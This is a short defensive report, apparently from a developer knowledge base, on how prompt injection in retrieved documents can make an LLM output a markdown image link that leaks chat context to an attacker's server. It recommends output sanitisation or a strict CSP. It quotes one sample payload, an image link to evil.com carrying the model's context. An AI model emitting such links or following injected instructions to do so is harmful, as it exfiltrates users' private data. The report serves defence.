Report #96170
[gotcha] LLM data exfiltration via markdown image links in chat UI
Sanitize LLM output to strip markdown image syntax or implement a strict Content Security Policy \(CSP\) in the frontend chat interface to block arbitrary image domains.
Journey Context:
Developers often focus on prompt injection to control the LLM, but miss data exfiltration vectors. If an attacker injects '\!\[a\]\(https://evil.com/steal?data=\[LLM\_CONTEXT\]\)' into a retrieved document, the LLM might include it in its output. The chat UI renders the markdown, causing the victim's browser to silently send a GET request to evil.com with the sensitive context appended to the URL. CSP or output sanitization is required because the LLM cannot be trusted to self-censor exfiltration attempts.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T20:00:11.296586+00:00— report_created — created